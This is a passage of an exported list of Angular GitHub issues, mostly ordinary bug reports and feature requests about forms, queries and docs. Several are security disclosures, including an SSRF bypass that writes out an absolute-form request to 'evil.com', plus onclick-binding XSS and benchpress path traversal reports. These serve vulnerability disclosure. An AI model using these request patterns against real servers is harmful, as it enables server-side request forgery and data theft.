_No response_","area: core,gemini-triaged",2026-05-05T13:20:55Z,2026-05-05T13:23:24Z,2
angular/angular,4383946869,Allow passing `HttpRequest` to `XhrFactory.build()` for request-aware XHR customization,"### Which @angular/* package(s) are relevant/related to the feature request?

common

### Description

`HttpClient` uses `XhrFactory.build()` to create `XMLHttpRequest` instances.

Currently, `build()` does not receive the associated `HttpRequest`, so a custom `XhrFactory` cannot access request-specific data.

In our case, metadata is added to the request using `HttpContext`. We want to read that metadata in a custom `XhrFactory` and attach it to the created `XMLHttpRequest`. Existing tracing/instrumentation code can then pick up the metadata from the XHR object.

Without access to the `HttpRequest`, there is no clean way to connect `HttpContext` metadata with the created XHR instance.

### Proposed solution

Allow `XhrFactory.build()` to optionally receive the `HttpRequest`.

Example:

~~~ts
abstract class XhrFactory {
  abstract build(req: HttpRequest<unknown>): XMLHttpRequest;
}
~~~

Angular’s internal usage could pass the request when creating the XHR:

~~~ts
const xhr = this.xhrFactory.build(req);
~~~

A custom implementation could then read metadata from `HttpContext` and attach it to the XHR:

~~~ts
@Injectable()
export class CustomXhrFactory implements XhrFactory {
  build(req: HttpRequest<unknown>): XMLHttpRequest {
    const xhr = new XMLHttpRequest();

    const metadata = req.context.get(MY_METADATA_CONTEXT_TOKEN);

    if (metadata) {
      (xhr as any).__metadata = metadata;
    }

    return xhr;
  }
}
~~~

The parameter should be optional so existing `XhrFacto... [TRUNCATED]","area: common/http,needs: clarification",2026-05-05T12:17:55Z,2026-05-06T16:47:36Z,5
angular/angular,4375375304,js-framework-benchmark: big difference in swapRows scenario,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

Modern Angular (zoneless with signal) has really good performance compared to React, but there is one scenario where it is terribly slow, see `swapRows`:

<img width=""254"" height=""716"" alt=""Image"" src=""https://github.com/user-attachments/assets/c5fb0f62-f555-4330-9cb7-195aae5cfeea"" />
https://krausest.github.io/js-framework-benchmark/2026/chrome146_2.html

### Angular swapRows
https://github.com/krausest/js-framework-benchmark/blob/master/frameworks/keyed/angular-cf-signals-nozone/src/app/app.component.ts#L120
```ts
    const tmp = this.data();
    if (tmp.length > 998) {
      const a = tmp[1];
      tmp[1] = tmp[998];
      tmp[998] = a;
      this.data.set(tmp);
    }
```

### React swapRows
https://github.com/krausest/js-framework-benchmark/blob/master/frameworks/keyed/react-classes/src/main.jsx#L144
```ts
  if (data.length > 998) {
    const newdata = [...data];
    const d1 = newdata[1];
    const d998 = newdata[998];
    newdata[1] = d998;
    newdata[998] = d1;
    return this.setState({ data: newdata });
  }
```

---

The implementations are very close, the only difference is that Angular reads the data from the signal. Is reading the data from the signal may be the reason for this slowness?


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide t... [TRUNCATED]","area: performance,gemini-triaged",2026-05-04T09:20:47Z,2026-05-04T09:21:25Z,1
angular/angular,4372487609,Copy button overlaps code content in code blocks on smaller screens,"### Describe the problem that you experienced

The copy button in code blocks is positioned inside the code container and overlaps with the code content.

On smaller screens or when the code block is horizontally scrollable, the copy icon covers part of the code, making it difficult to read or copy correctly.

This creates a usability and readability issue in the documentation UI.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/dynamic-forms  http://localhost:4201/guide/forms/dynamic-forms  

### Describe what you were looking for in the documentation

I was reading the Dynamic Forms guide and reviewing the example code blocks to understand how the form components are structured and implemented.

### Describe the actions that led you to experience the problem

1. Opened the Dynamic Forms guide.
2. Viewed code blocks on a smaller screen or reduced browser width.
3. Scrolled horizontally within the code block.
4. Observed that the copy button overlaps and hides part of the code content.

### Describe what you want to experience that would fix the problem

The copy button should not overlap with the code content.

It should be positioned in a way that does not interfere with readability, for example:
- Placed in the header row (near the file name)
- Or positioned outside the scrollable code area
- Or styled to avoid covering code text

### Add a screenshot if that helps illustrate the problem

<img width=""1155"" height=""973"" alt=""Image"" src=""http... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-05-03T17:32:41Z,2026-06-08T21:19:51Z,1
angular/angular,4365752107,[Signal Forms] required validator function treats false as not present,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When I use the `required` validator function on a boolean field, I get a validation error when the field value is `false`.

I think `false` is a valid value for a boolean field so this should be fixed.

It's not a regression - was there from the beginning ([commit](https://github.com/angular/angular/commit/b8314bd3409500b8540d1ce00a330fdb2f0fc83a#diff-155f5f18471fdd49213aa714ff8d2a938c3899e0711942c36dfab8acb4fdefadR39)) and refactored into an `isEmpty` util function later ([commit](https://github.com/angular/angular/commit/10ef96adb3d989781c7ec5116a70b6518866ee27))


The reactive forms [Validators.required](https://github.com/angular/angular/blob/main/packages/forms/src/validators.ts#L233) uses an [isEmptyInputValue](https://github.com/angular/angular/blob/main/packages/forms/src/validators.ts#L28) util function, which does a better job IMO

Cheers!

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.8
Angular           : 21.2.10
Node.js           : 24.15.0
Package Manager   : npm 11.12.1
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Reques... [TRUNCATED]","area: forms,gemini-triaged",2026-05-01T17:30:21Z,2026-06-08T19:54:43Z,3
angular/angular,4363909417,`ng update --next` caused dupicated `withNoIncrementalHydration` in secondary project,"### Command

update

### Is this a regression?

- [x] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

22-next-4 (not entierly sure)

### Description

After running an upgrade, I found a duplicate `withNoIncrementalHydration()` in the `app.config` of a secondary project.  (if you want to try, it happend in my [samples](https://github.com/SanderElias/Samples) repo) 

### Minimal Reproduction

Pull my samples repo, run `ng update --next`, and there will be a couple of changes that should not be there, one of them is the duplicated issue. The other ones are putting in an `wihtXHR` that should not be there since this porject moved to `withFetch` long ago

### Exception or Error

```text

```

### Your Environment

```text
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 22.0.0-next.7
Angular           : 22.0.0-next.10
Node.js           : 24.15.0
Package Manager   : pnpm 10.33.2
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼────────────────... [TRUNCATED]","area: migrations,gemini-triaged",2026-05-01T10:14:14Z,2026-05-01T23:01:30Z,1
angular/angular,4358211918,Signal formField range input with min/max does not correctly render,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I want to display a `range` input with `min` & `max` limits.

### Using non-signal form control, I can do it this way:

```html
{{ range.value }}
<input type=""range"" [formControl]=""range"" min=""100"" max=""200"" />
```

```ts
protected readonly range = new FormControl(150, { validators: [
  Validators.min(100),
  Validators.max(200),
] });
```

And it will correctly display the range input like this:

<img width=""341"" height=""96"" alt=""Image"" src=""https://github.com/user-attachments/assets/36cb6a26-3c39-4ae3-a58a-ba0574b89f1c"" />

### But when switching to signal form fields:

```html
{{ form.range().value() }}
<input type=""range"" [formField]=""form.range"" />
<!--
  Here I cannot set the min/max attributes, because they are automatically added by Angular
  If I add them myself, I get the following errors:
   - Setting the 'min' attribute is not allowed on nodes using the '[formField]' directive
   - Setting the 'max' attribute is not allowed on nodes using the '[formField]' directive
-->
```

```ts
protected readonly form = form(signal({ range: 150 }), (path) => {
  min(path.range, 100);
  max(path.range, 200);
});
```

It will not correctly display the range input:

<img width=""353"" height=""94"" alt=""Image"" src=""https://github.com/user-attachments/assets/73baa219-e91d-42ff-8839-003dfaef33e5"" />



### Please provide a link to a minimal reproduction of the bug

_No resp... [TRUNCATED]","area: forms,forms: signals",2026-04-30T12:48:57Z,2026-05-05T23:26:05Z,3
angular/angular,4358039371,FieldState required and pattern properties link to validator documentation instead of their own documentation,"### Describe the problem that you experienced

When clicking on the `required` or `pattern` property in the `FieldState` reference documentation, I expect to scroll to the documentation for those properties.
Instead, the link navigates to the documentation of the required/pattern validation functions.

### Enter the URL of the topic with the problem

https://angular.dev/api/forms/signals/FieldState

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,area: docs",2026-04-30T12:23:45Z,2026-05-01T22:58:45Z,5
angular/angular,4356492086,Custom selects with <selectedcontent> and FormField crash the app with no error in an infinite loop,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Hello,

When trying to use the signals forms API with a custom select (using <selectedcontent>) the app will crash, probably stuck in an infinite re-rendering loop.

It works well without <selectedcontent>, so I supposed this has something to do with the way the content is projected by the standard API inside of the select when using this element.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-vbthyxw5?file=src%2Fapp%2Fapp.ts

### Please provide the exception or error you saw

```true
The app does not load at all, looping infinitely. I was not able to capture function calls to see what was causing this freeze.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.9
Angular           : 21.2.11
Node.js           : 20.19.5
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.2.11           │ ^21.2.11          │
│ @angular/build            │ 21.2.9            │ ^21.2.9           │
│ @angular/cli              │ 21.2.9            │ ^21.2.9           │
│ @angular/common           │ 21.2.11    ... [TRUNCATED]","area: forms,gemini-triaged",2026-04-30T08:20:00Z,2026-04-30T09:11:07Z,3
angular/angular,4352199266,OutputEmitterRef.emit() doesn't untrack listeners,"Calling `.emit()` on an `output()` synchronously calls listeners, but doesn't untrack them. This means that any signals which are incidentally read in listeners end up tracked in the reactive context of the caller.","area: core,core: inputs / outputs,core: reactivity",2026-04-29T16:45:23Z,2026-04-30T22:41:03Z,3
angular/angular,4351717878,Mixing `@ViewChild` decorators with `viewChild()` signals causes query slot mismatch in JIT mode,"### Which @angular/* package(s) are the source of the bug?

core, compiler

### Is this a regression?

Yes

### Description

When a component uses both `@ViewChild` decorators and `viewChild()` signal-based queries in JIT compilation mode (`aot: false`), the `@ViewChild` decorator queries return the wrong elements. Each decorator query result is shifted by one slot and the signal query's element appears in the first `@ViewChild` result, and the last `@ViewChild` loses its result entirely.

Signal-based `viewChild()` queries resolve correctly; only the decorator-based `@ViewChild` queries are affected.

The issue does not occur when:
- Using AOT compilation
- Using only `@ViewChild` decorators in the component
- Using only `viewChild()` signals in the component

### Observed behavior

Given this standalone component bootstrapped with `bootstrapApplication`:
```typescript
@Component({
  selector: 'app-root',
  standalone: true,
  template: `
    <div #item1 class=""item-1"">Item 1</div>
    <div #item2 class=""item-2"">Item 2</div>
    <div #item3 class=""item-3"">Item 3</div>
    <div #item4 class=""item-4"">Item 4</div>
    <div #item5 class=""item-5"">Item 5</div>
  `
})
export class AppComponent implements AfterViewInit {
  @ViewChild('item1') item1!: ElementRef;
  @ViewChild('item2') item2!: ElementRef;
  @ViewChild('item3') item3!: ElementRef;
  @ViewChild('item4') item4!: ElementRef;

  item5 = viewChild<ElementRef>('item5');

  ngAfterViewInit(): void {
    console.log(this.item1... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-29T15:23:38Z,2026-04-29T15:29:08Z,3
angular/angular,4349678232,Signal Form `fieldTree` not updated when the form's model adds elements to array properties at runtime,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I have a complex `signalForm` whose model can change at runtime based on an API response.

```ts
export const initialFormData: SearchFormModel = {
  documentalStructure: [], // this field triggers the API call on each change
  // ...
  metadata: {
    commonMetadata: [],
    mixins: [],
    additionalMetadata: [],
  },
  extendedFilters: {
    // ...
  },
};
```

When the user sets a value in the `documentalStructure` field, an API call is made to retrieve 3 lists of data. The form model has a `metadata` property (an object containing those 3 lists).

The form model is a `linkedSignal` whose source is a signal holding the 3 lists from a `signalStore`. When the API call completes and the lists are updated, the `linkedSignal` computation runs and generates initial values for every element of each list, so the user can fill them in via the UI.

```ts
private readonly _searchFormModel = linkedSignal<FoldersCommonMetadata, SearchFormModel>({
  source: this._store.foldersMetadata,
  computation: (foldersMetadata, previous) => {
    // utility to set default value for each list element
    const setValue = (metadata: MetadataOm): { value: null; operator: MetadataOperator } => ({
      value: null,
      operator: DocumentsSearchFormService.getMetadataDefaultOperator(metadata.uiControlType, metadata.dataType),
    });

    // ...

    // iterate over the lists and popula... [TRUNCATED]","needs reproduction,area: forms,forms: signals",2026-04-29T10:18:47Z,2026-04-30T14:12:28Z,3
angular/angular,4348484776,SSRF Bypass via Absolute-Form URLs in Core Rendering APIs,"### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

Yes

### Description

The `parseUrl` function in `ServerPlatformLocation` (`packages/platform-server/src/location.ts`) was recently updated to block SSRF via protocol-relative (`//evil.com`) and backslash (`/\evil.com`) URLs by checking whether the URL string starts with `/`. If it does, the server origin is prepended before parsing.

This check does not cover HTTP/1.1 absolute-form request targets.

Per RFC 7230, a client can send a request where the full URL is the request target:

```
GET http://evil.com/ HTTP/1.1
Host: localhost
```

When Nginx, AWS ALB, or any standard reverse proxy forwards this to Node.js, Express receives `req.url = ""http://evil.com/""`. That string starts with `h`, not `/`, so the guard condition `urlStr[0] === '/'` evaluates to false. The origin is not prepended. `new URL(""http://evil.com/"")` parses cleanly and assigns `evil.com` as `ServerPlatformLocation.hostname`.

From that point, the SSR HTTP interceptor (`relativeUrlsTransformerInterceptorFn` in `http.ts`) treats `evil.com` as the base for all relative `HttpClient` requests made during rendering. A call to `/api/config` inside the Angular component goes out as `http://evil.com/api/config` — to an external server — silently, server-side, with no error thrown and no CSR fallback triggered.

The commit message for `ede7c58a2a` itself called out this exact pattern as the typical attack surface:

... [TRUNCATED]","security,area: server,gemini-triaged",2026-04-29T06:48:51Z,2026-05-07T22:30:05Z,4
angular/angular,4346097151,Highlighted text on angular.dev is rainbow coloured,"### Describe the problem that you experienced

If you select the text on any page of the angular documentation, the highlighted colour changes between paragraphs / lines in lists / tokens in files. I think there are three, maybe four, colours total. I can't see any obvious logic as to when it changes or why, so I assume this is a bug. If this is intentional, please feel free to close with no comments.

I've attached a screenshot which I think makes it clear. This is a screenshot of https://angular.dev/ai/develop-with-ai 

<img width=""1835"" height=""1436"" alt=""Image"" src=""https://github.com/user-attachments/assets/1cd2dfc7-193f-4853-bf13-3488c6397345"" />

### Enter the URL of the topic with the problem

https://angular.dev/ai/develop-with-ai

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

As I'm reading, I often click or select text / passages. While reading the angular docs, I noticed that the colour was changing. It was a bit distracting, and I spent some time trying to understand the logic. Presumably it's colourful to convey meaning? Maybe it's just meant to be pretty.

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, br... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-04-28T20:43:48Z,2026-04-28T20:51:07Z,2
angular/angular,4345931458,Update guide external links open inconsistently (new tab vs. same tab),"### Describe the problem that you experienced

While working through the Angular update guide (https://angular.dev/update-guide), I noticed that external documentation links behave inconsistently, some open in a new tab, others navigate in the same tab. The recommendations.ts file currently has a mix of styles:

~11 entries use <a target=""_blank"">
~16 entries use <a> without target=""_blank""
~30 entries use markdown `[text](url) (renders without target=""_blank"")`
A few bare URLs

Small thing, but I found it a bit unpredictable when clicking through ""Read more"" links during an upgrade.

### Describe what you want to experience that would fix the problem

I'd suggest going with target=""_blank"" consistently across all entries. During an upgrade, users are typically working through the checklist top-to-bottom and clicking ""Read more"" links to research individual steps,  opening those in a new tab keeps the checklist available so users can read the linked docs and come back without breaking their flow. It's also nicer when you want to compare the checklist alongside the linked guide. Plus the file already leans this way (~11 entries use it), so adopting it everywhere is a low-churn cleanup.

Happy to open a PR if the team's on board.

","open for contributions,area: docs-infra,gemini-triaged",2026-04-28T20:13:51Z,2026-04-29T20:59:44Z,2
angular/angular,4345172958,Test,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

Test 

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-28T17:51:17Z,2026-04-28T17:51:37Z,1
angular/angular,4344680184,Using ES2025 with `Angular.ng-template` VSCode LSP yields template errors,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

Using the latest version of ""Angular Language Service"" in VSCode (`21.2.3`) produces errors in Angular (both v21 and v22 currently) when `lib` uses `es2025`. The project runs without issues with `ng serve` & `ng build`.

Perhaps the extension & `@angular/language-service` bundles an older TypeScript version?

## Steps

Here's the steps to see the issue:

1. Generate an Angular v21/v22 project
2. Open VSCode with the Angular LSP extension installed
3. Use TypeScript version 6
4. Set `""lib"": [""dom"", ""es2025""]` in `tsconfig.json`
5. Ensure `angularCompilerOptions.trictTemplates` is set to `true` in `tsconfig.json`
6. Add the small snippet below to `app.ts`:
    ```html
    @let arr = [1, 2, 3];
    <p>Error: {{arr.at(0)}}</p>
    ```

Or open the `app.ts` file in the linked reproduction in VSCode.

<img width=""1210"" height=""305"" alt=""Image"" src=""https://github.com/user-attachments/assets/5f2202bb-b99c-4c27-a08b-f8930a6e09f1"" />

### Please provide a link to a minimal reproduction of the bug

https://github.com/csvn/ng-template-lsp-lib-issue

### Please provide the exception or error you saw

```true
Property 'at' does not exist on type 'number[]'. Do you need to change your target library? Try changing the 'lib' compiler option to 'es2022' or later.  ngtsc(2550)
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true... [TRUNCATED]",area: language-service,2026-04-28T16:22:42Z,2026-04-29T16:41:37Z,8
angular/angular,4343191193,Security: Angular production mode allows `[attr.onclick]` and host `attr.onclick` bindings to become click-triggered XSS,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

## Report description
Angular production mode allows `[attr.onclick]` and host `attr.onclick` bindings to become click-triggered XSS

## The problem
### Please describe the technical details of the vulnerability

#### 1. technical details

Angular already has explicit validation that rejects `on*` attribute and property bindings:

```ts
override validateProperty(name: string): {error: boolean; msg?: string} {
  if (name.toLowerCase().startsWith('on')) {
    const msg =
      `Binding to event property '${name}' is disallowed for security reasons, ` +
      `please use (${name.slice(2)})=...` +
      `\nIf '${name}' is a directive input, make sure the directive is imported by the` +
      ` current module.`;
    return {error: true, msg: msg};
  } else {
    return {error: false};
  }
}

override validateAttribute(name: string): {error: boolean; msg?: string} {
  if (name.toLowerCase().startsWith('on')) {
    const msg =
      `Binding to event attribute '${name}' is disallowed for security reasons, ` +
      `please use (${name.slice(2)})=...`;
    return {error: true, msg: msg};
  } else {
    return {error: false};
  }
}
```

However, the main R3 template path explicitly bypasses that validation for bound element properties and attributes:

```ts
const bep = this.bindingParser.createBoundElementProperty(
  elementName,
  prop,
  /* skipValidation ... [TRUNCATED]","security,area: compiler,compiler: jit",2026-04-28T12:39:22Z,2026-05-07T22:19:24Z,1
angular/angular,4343179156,Security: Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

## Report description
Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data

## The problem
### Please describe the technical details of the vulnerability

#### 1. technical details

Angular treats several `iframe` policy attributes as security-sensitive and normally rejects dynamic
updates to them through `ɵɵvalidateAttribute`:

```ts
export function ɵɵvalidateAttribute<T = any>(value: T, tagName: string, attributeName: string): T {
  const lowerCaseTagName = tagName.toLowerCase();
  const lowerCaseAttrName = attributeName.toLowerCase();
  const validationConfig = SECURITY_SENSITIVE_ELEMENTS[lowerCaseTagName]?.[lowerCaseAttrName];
  if (!validationConfig) {
    return value;
  }

  const tNode = getSelectedTNode()!;
  if (tNode.type !== TNodeType.Element) {
    return value;
  }

  const lView = getLView();
  if (lowerCaseTagName === 'iframe') {
    const element = getNativeByTNode(tNode, lView) as RElement;
    enforceIframeSecurity(element as HTMLIFrameElement);
  }

  const errorMessage =
    ngDevMode &&
    `Angular has detected that the \`${attributeName}\` was applied ` +
      `as a binding to the <${tagName}> element${getTemplateLocationDetails(lView)}. ` +
      `For security reasons, the \`${attributeName}\` can be set on the <${tagName}> element ` +
      `as a static attribute only. \n` +
    ... [TRUNCATED]","area: i18n,security",2026-04-28T12:37:32Z,2026-04-30T22:47:14Z,1
angular/angular,4342675284,Benchpress report file path traversal via attacker-controlled benchmark id,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

#### 1. technical details

`@angular/benchpress` accepts a caller-controlled `id` in `Runner.sample({id})` and forwards it into `SampleDescription` without any path sanitization:

```ts
sample({
  id,
  execute,
  prepare,
  microMetrics,
  providers,
  userMetrics,
}: {
  id: string;
  execute?: Function;
  prepare?: Function;
  microMetrics?: {[key: string]: string};
  providers?: StaticProvider[];
  userMetrics?: {[key: string]: string};
}): Promise<SampleState> {
  const sampleProviders: StaticProvider[] = [
    _DEFAULT_PROVIDERS,
    this._defaultProviders,
    {provide: Options.SAMPLE_ID, useValue: id},
    {provide: Options.EXECUTE, useValue: execute},
  ];
```

```ts
{
  provide: SampleDescription,
  useFactory: (
    metric: Metric,
    id: string,
    forceGc: boolean,
    userAgent: string,
    validator: Validator,
    defaultDesc: {[key: string]: string},
    userDesc: {[key: string]: string},
  ) =>
    new SampleDescription(
      id,
      [{'forceGc': forceGc, 'userAgent': userAgent}, validator.describe(), defaultDesc, userDesc],
      metric.describe(),
    ),
```

`JsonFileReporter` then uses that `id` directly as part of the output filename and passes the resulting path to `fs.writeFile()`:

```ts
override reportSample(
  completeSample: MeasureValues[],
  validSample: MeasureValues[],
): Promise<any> {
  const stats: {[key: str... [TRUNCATED]","area: benchpress,security",2026-04-28T11:14:23Z,2026-04-28T19:51:01Z,2
angular/angular,4341345760,Component Selector parsing too permissive,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

One of my co-workers hallucinated the following component selector.

```
@Component({
  selector: '<some-component></some-component>',
  template: ` Hello world! `,
})
export class SomeComponent {}
```

Wanted to be cocky and tell him he surely didn't test his changes. Turns out this selector is actually somehow working. Can't find anywhere in the documentation that this should work. 
I tried to somehow determine how this boils down to a working CSS selector, but couldn't determine what dark magic makes this work.

Chrome doesn't like the syntax at least.
```
document.querySelector(""<user-roles-card></user-roles-card>"")
VM112:1 Uncaught SyntaxError: Failed to execute 'querySelector' on 'Document': '<user-roles-card></user-roles-card>' is not a valid selector.
    at <anonymous>:1:10
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/ghnbmjxv?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.7
Angular           : 21.2.9
Node.js           : 22.22.2
Package Manager   : npm 9.6.4
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────... [TRUNCATED]",area: compiler,2026-04-28T07:27:37Z,2026-04-28T13:53:12Z,3
angular/angular,4338371578,`@ViewChild` query index mismatch when mixed with `viewChild()` signals in JIT mode,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When a component mixes decorator-based `@ViewChild()` queries with signal-based `viewChild()` queries and the application uses **JIT compilation** (`""aot"": false`), the first `@ViewChild` decorator query receives `undefined` instead of the expected `TemplateRef`. All subsequent decorator queries are shifted by 1 position — each receives the `TemplateRef` that should have been assigned to the previous query.

### Minimal reproduction

**StackBlitz**:  https://stackblitz.com/edit/stackblitz-starters-oezfonih?file=angular.json 

**Component:**

```typescript
import { Component, ViewChild, viewChild, TemplateRef, AfterViewInit } from '@angular/core';

@Component({
  selector: 'app-root',
  template: `
    <ng-template #templateA>Content A</ng-template>
    <ng-template #templateB>Content B</ng-template>
    <ng-template #templateC>Content C</ng-template>

    <p>templateA: {{ templateARef ? 'resolved' : 'UNDEFINED' }}</p>
    <p>templateB: {{ templateBSignal() ? 'resolved' : 'UNDEFINED' }}</p>
    <p>templateC: {{ templateCRef ? 'resolved' : 'UNDEFINED' }}</p>
  `,
})
export class App implements AfterViewInit {
  @ViewChild('templateA', { static: true }) templateARef!: TemplateRef<any>;
  readonly templateBSignal = viewChild<TemplateRef<any>>('templateB');
  @ViewChild('templateC', { static: true }) templateCRef!: TemplateRef<any>;

  ngAfterViewInit() {
    console.... [TRUNCATED]","area: core,core: content projection",2026-04-27T19:32:11Z,2026-04-28T19:03:43Z,1
angular/angular,4335639837,Firefox: Cross Origin Embedder Policies (COEP),"### Describe the problem that you experienced

On the https://angular.dev/events/v21, firefox shows a warning instead of a youtube vide.

<img width=""887"" height=""778"" alt=""Image"" src=""https://github.com/user-attachments/assets/6e5defea-176e-45f5-9713-373285a8fffc"" />

how it looks in chrome?

<img width=""911"" height=""670"" alt=""Image"" src=""https://github.com/user-attachments/assets/f0995b5d-19ee-4d3c-b56d-7424dd3e93f8"" />


### Enter the URL of the topic with the problem

https://angular.dev/events/v21",,2026-04-27T12:14:01Z,2026-04-27T12:15:47Z,2
angular/angular,4332483576,signal  form validateStandardSchema use in applyEach rasie NG0992,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

```
const itemZodSchema = z.object({
  code: z.string(),
  metadata: {
    long: z.number(),
    width: z.number(),
    height: z.number(),
    m3: z.number(),
    weight: z.number(),
    uom: z.string(),
  },
}); 
form = form(
    this.model,
    (f) => {
      validateStandardSchema(f as any, this.orderSchema);
      applyEach(f.items, (item) => validateStandardSchema(item, itemZodSchema));
    },
    {
      submission: {
        action: async (form, detail) => {
          console.log(detail.root());
          const result = await PurchaseOrder.createOrder(this.model() as any);
          console.log({ result });
        },
      },
    },
  );
```

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: forms,forms: signals,gemini-triaged",2026-04-27T01:03:20Z,2026-04-30T11:17:01Z,5
angular/angular,4330248292,feat(vscode-extension): Add right click generate using console for easier schematics generation,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently in order to generate without a third party extensions one must:
1. Move terminal to correct folder
2. Write the ng generate command without any help from the angular extension

What I suggest is adding a right click generate option that allows you to choose which schematic to run (auto find schematics) and once selected will run that schematics in a terminal on the correct folder (at that point x-prompt for example will take over).

### Proposed solution

1. Add a new menu option using `explorer/context` contribution
2. Add a new commad for generation

The command will do the following:
1. Scan workspace including all node_modules and find schematics candidates
2. Show using `showQuickPick` a select for which schematic to run from the list
3. Will create a terminal or reuse (close + open) if already created, cd to path and run the command without parameters (except interactive)

This allows for a lightweight solution leveraging x-prompt or any other prompting in the schematics itself while also handling the pain points of schematics discovery and running in a specific path.

### Alternatives considered

1. Keep doing it manually
2. Create UI which is much more complicated
3. Use third party tools",area: vscode-extension,2026-04-26T06:51:07Z,2026-05-11T20:03:49Z,4
angular/angular,4329144365,Align Router API docs with `inject` based DI,"### Describe the problem that you experienced

Updates Router documentation examples to reflect modern `inject` based dependency injection instead of constructor injection.

See 
- https://next.angular.dev/api/router/CanActivateChild
- https://next.angular.dev/api/router/CanActivate
- https://next.angular.dev/api/router/ActivatedRouteSnapshot
- https://next.angular.dev/api/router/ActivatedRoute
- https://next.angular.dev/api/router/CanDeactivate
- https://next.angular.dev/api/router/CanMatch
 ","area: router,gemini-triaged",2026-04-25T20:28:27Z,2026-04-28T00:02:30Z,3
angular/angular,4325697345,README says 'Create workspace' instead of 'Create a workspace',"I noticed a small grammar issue in the root `README.md` under **Development Setup**.

Current wording:

> Create workspace:

Suggested wording:

> Create a workspace:

Location:
https://github.com/angular/angular/blob/main/README.md#setting-up-a-project

Tiny issue, but it is user-facing documentation so I wanted to report it.","area: docs,gemini-triaged",2026-04-24T21:31:03Z,2026-04-28T00:08:04Z,1
angular/angular,4324198008,[Angular 22] - FormValueControl bug when using a directive on html-inputs,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When a **native HTML `<input>` element** is enhanced with a custom Angular component/directive
that implements `FormValueControl<T>` (selector: `input[my-input-directive]`), 
the Signal Forms integration does not work out of the box as it did with CVA. However, when I create a wrapper component around an HTML input, everything works as expected.

To make Signal Forms work in the directive, the obvious fix is to add host bindings:

```typescript
host: {
  '[value]': 'value() ?? """"',   // show signal value in DOM
  '(input)': 'onInput($event)',  // propagate user input back to signal
}
```

This fixes Signal Forms, but breaks Reactive Forms (formControlName / [formControl]).
I've created a demo that clearly shows what works and what doesn't. It also contains the host binding that can be uncommented.

Is this the intended behaviour and am I missing something, or should this work as I expected?

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-22-formvaluecontrol-issue

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 22.0.0-next.6
Angular           : 22.0.0-next.9
Node.js           : 24.15.0
Package Manager   : npm 10.9.3
Operating System  : win32 x64

